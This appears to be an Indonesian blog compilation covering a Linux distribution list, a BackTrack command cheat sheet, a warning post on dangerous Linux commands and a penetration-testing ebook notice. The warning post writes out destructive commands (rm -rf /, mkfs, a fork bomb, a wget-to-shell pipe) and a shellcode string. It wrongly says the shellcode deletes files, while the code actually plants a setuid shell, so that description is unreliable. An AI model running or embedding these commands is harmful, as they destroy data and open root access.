Top 10 Linux Distro

Top 10

• Mint
  Linux Mint is an Ubuntu-based distribution whose goal is to provide a more complete out-of-the-box experience by including browser plugins, media codecs, support for DVD playback, Java and other components. It also adds a custom desktop and menus, several unique configuration tools, and a web-based package installation interface. Linux Mint is compatible with Ubuntu software repositories.

• Mageia
  Mageia is a fork of Mandriva Linux formed in September 2010 by former employees and contributors to the popular French Linux distribution. Unlike Mandriva, which is a commercial entity, the Mageia project is a community project and a non-profit organisation whose goal is to develop a free Linux-based operating system.

• Ubuntu
  Ubuntu is a complete desktop Linux operating system, freely available with both community and professional support. The Ubuntu community is built on the ideas enshrined in the Ubuntu Manifesto: that software should be available free of charge, that software tools should be usable by people in their local language and despite any disabilities, and that people should have the freedom to customise and alter their software in whatever way they see fit. "Ubuntu" is an ancient African word, meaning "humanity to others". The Ubuntu distribution brings the spirit of Ubuntu to the software world.

• Fedora
  The Fedora Project is an openly-developed project designed by Red Hat, open for general participation, led by a meritocracy, following a set of project objectives. The goal of The Fedora Project is to work with the Linux community to build a complete, general purpose operating system exclusively from open source software. Development will be done in a public forum. The project will produce time-based releases of Fedora about 2-3 times a year, with a public release schedule. The Red Hat engineering team will continue to participate in building Fedora and will invite and encourage more outside participation than in past releases. By using this more open process, we hope to provide an operating system more in line with the ideals of free software and more appealing to the open source community.

• Debian 
  The Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system is called Debian GNU/Linux, or simply Debian for short. Debian systems currently use the Linux kernel. Linux is a completely free piece of software started by Linus Torvalds and supported by thousands of programmers worldwide. Of course, the thing that people want is application software: programs to help them get what they want to do done, from editing documents to running a business to playing games to writing more software. Debian comes with over 20,000 packages (precompiled software that is bundled up in a nice format for easy installation on your machine) - all of it free. It's a bit like a tower. At the base is the kernel. On top of that are all the basic tools. Next is all the software that you run on the computer. At the top of the tower is Debian -- carefully organizing and fitting everything so it all works together.

• OpenSUSE
  The openSUSE project is a community program sponsored by Novell. Promoting the use of Linux everywhere, this program provides free, easy access to openSUSE, a complete Linux distribution. The openSUSE project has three main goals: make openSUSE the easiest Linux for anyone to obtain and the most widely used Linux distribution; leverage open source collaboration to make openSUSE the world's most usable Linux distribution and desktop environment for new and experienced Linux users; dramatically simplify and open the development and packaging processes to make openSUSE the platform of choice for Linux developers and software vendors.

• ArchLinux
  Arch Linux is an independently developed, i686- and x86_64-optimised Linux distribution targeted at competent Linux users. It uses 'pacman', its home-grown package manager, to provide updates to the latest software applications with full dependency tracking. Operating on a rolling release system, Arch can be installed from a CD image or via an FTP server. The default install provides a solid base that enables users to create a custom installation. In addition, the Arch Build System (ABS) provides a way to easily build new packages, modify the configuration of stock packages, and share these packages with other users via the Arch Linux user repository.

• PCLinuxOS
  PCLinuxOS is a user-friendly Linux distribution with out-of-the-box support for many popular graphics and sound cards, as well as other peripheral devices. The bootable live CD provides an easy-to-use graphical installer and the distribution sports a wide range of popular applications for the typical desktop user, including browser plugins and full multimedia playback. The intuitive system configuration tools include Synaptic for package management, Addlocale to add support to many languages, Getopenoffice to install the latest OpenOffice.org, and Mylivecd to create a customised live CD.

• PuppyLinux
  Puppy Linux is yet another Linux distribution. What's different here is that Puppy is extraordinarily small, yet quite full-featured. Puppy boots into a ramdisk and, unlike live CD distributions that have to keep pulling stuff off the CD, it loads into RAM. This means that all applications start in the blink of an eye and respond to user input instantly. Puppy Linux has the ability to boot off a flash card or any USB memory device, CDROM, Zip disk or LS/120/240 Superdisk, floppy disks, internal hard drive. It can even use a multisession formatted CD-RW/DVD-RW to save everything back to the CD/DVD with no hard drive required at all.

• CentOSCentOS as a group is a community of open source contributors and users. Typical CentOS users are organisations and individuals that do not need strong commercial support in order to achieve successful operation. CentOS is 100% compatible rebuild of the Red Hat Enterprise Linux, in full compliance with Red Hat's redistribution requirements. CentOS is for people who need an enterprise class operating system stability without the cost of certification and support.

References :

• www.linux-console.blogspot.com

source

tag : distro linux terbaik, distro linux terbagus, jenis jenis distro linux.

Daftar Perintah di Backtrack Linux

Bagi para pengguna backtrack yg udh biasa, pasti sdh tidak asing dengan command ini.. Tapi buat yg baru dalam backtrack, pasti ini sangat merepotkan jika command ini tidak di ketahui.

[*] Login
Username root password toor > default user pada backtrack, saran ane setelah login langsung ganti password dengan command 
root@bt:~# passwd
kemudian masukkan password baru

[*] Memperbaiki tampilan splash:
root@bt:~# fix-splash

[*] Memulai X-server (Desktop GUI)
root@bt:~# startx

[*] networking
untuk memulai networking biasanya menggunakan WICD tpi sebelumnya ketik dulu di console:
root@bt:~# /etc/init.d/wicd start
lalu klik :
menu > internet > wicd netwok manager

setting ip dynamic, 
root@bt:~# dhclient <interface network ente>
-- interface disini bisa saja eth0 atau eth1

Setting IP static
misalnya :
interface - eth0
IP Address - 192.168.1.9/24
Default Gateway - 192.168.1.1
DNS server - 192.168.1.1
maka perintah yang digunakan adalah :

root@bt:~# ifconfig eth0 192.168.1.9/24
root@bt:~# route add default gw 192.168.1.1
root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf

settingan ini akan kembali default bila di reboot, untuk menjadikan permanen maka kita perlu meng-edit file /etc/network/interfaces,

root@bt:~# nano /etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.1.9
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

kemudian save dengan menggunakan perintah CTRL+X kemudian jawab y kemudian enter

root@bt:~# update-rc.d networking defaults
root@bt:~# /etc/init.d/networking restart

[*] Memulai service di BT :

• SSH (Secure Shell)
  sebelum menjalankan service ssh unutk pertama kali, kita perlu meng-generate key nya jalankan perintah:
  root@bt:~# sshd-generate
  root@bt:~# /etc/init.d/ssh start
  Starting OpenBSD Secure Shell server: sshd.
  
  untuk menghentikan service :
  root@bt:~# /etc/init.d/ssh stop
  Stopping OpenBSD Secure Shell server: sshd.
• apache webserver
  root@bt:~# /etc/init.d/apache2 start
  atau bisa jg dengan perintah
  
  root@bt:~# service apache2 start
  * Starting web server apache2
  
  atau :
  root@bt:~# apache2ctl start
  
  untuk menghentikan service :
  
  root@bt:~# /etc/init.d/apache2 stop
  
  atau :
  root@bt:~# service apache2 stop
  
  atau :
  root@bt:~# apache2ctl stop
• MySQL
  untuk memulai bisa menggunakan perintah :
  root@bt:~# /etc/init.d/mysql start
  
  atau:
  root@bt:~# start mysql
  
  untuk menghentikan :
  root@bt:~# /etc/init.d/mysql stop
  
  atau :
  root@bt:~# stop mysql

Source

tag : perintah dasar backtrack, belajar perintah perintah backtrack, belajar backtrack, cara hack menggunakan backtrack.

7 Perintah Linux Paling Berbahaya

First command:

• rm -rf / #with root privilege such as 'sudo'

This command will delete your entire files on mounted devices!
........................................................ 

Second command:

• char esp[] __attribute__ ((section(".text"))) /* e.s.p
• release */
• = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
• "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
• "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
• "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
• "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
• "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
• "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
• "cp -p /bin/sh /tmp/.beyond; chmod 4755
• /tmp/.beyond;";

Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
........................................................

Third command:

• mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.
........................................................ 

Fourth command:

• :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!
........................................................

Fifth command:

• any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.
........................................................

Sixth command:

• wget http://trap_source -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.
........................................................

Seventh command:

• mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
........................................................

So be careful and do a check before running such commands on your system. 

source

tag : macam macam perintah linux, perintah linux yang berbahaya, linux commands.

Ebook Belajar Backtrack Linux Bahasa Indonesia ASWB1 ( attacking side with backtrack )

Judul : Attacking side with BackTrack ( ASWB )

Prise : free

Versi : 1 

Author : zee eichel, habibi rizqi rahmadhan, james0baster

Sinopsis : Buku ini mengajarkan tentang penggunaan BackTrack secara umum yang menitik beratkan pada penggunaan tools serta metodologi penetration testing itu sendiri. Buku ini di lengkapi dengan motivasi IT dari habibi rizky ( awaken the dragon within ). Buku ini sangat kami rekomendasikan untuk para pemula serta advance pengguna BackTrack di indonesia. Selain menggunakan bahasa Indonesia, buku ini juga dilengkapi dengan screenshot yang di harapkan dapat membantu pengertian para pengguna Backtrack di Indonesia

• Buku ini benar-benar bersifat free tanpa biaya sama sekali, di harapkan anda mendownload dari situs ini. Jika anda mendapati buku ini di perjual-belikan maka sebaiknya anda abaikan karena kami tidak bertanggung jawab atas setiap penyalahgunaan publishing buku ini secara menyeluruh
• Anda dapat menyebarluaskan buku ini , termasuk di antaranya me-reupload buku tersebut ke direktori atau ke resource server anda. Ini dapat anda lakukan dengan free namun dilarang untuk mengubah apapun setiap material buku tersebut termasuk di antaranya adalah informasi Author
• Buku ini dalam trade mark ( codewall-security ) dan memiliki nilai hukum dari segi HAKI  secara sah mengikuti hukum yang berlaku di republik Indonesia, barang siapa yang melakukan atau melanggar pernjanjian ini akan kami adakan tindakan hukum tanpa pemberitahuan terlebih dahulu.

Anda dapat mendownload buku ini melalui link di bawah ini

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Password RAR : fUcKlamerS

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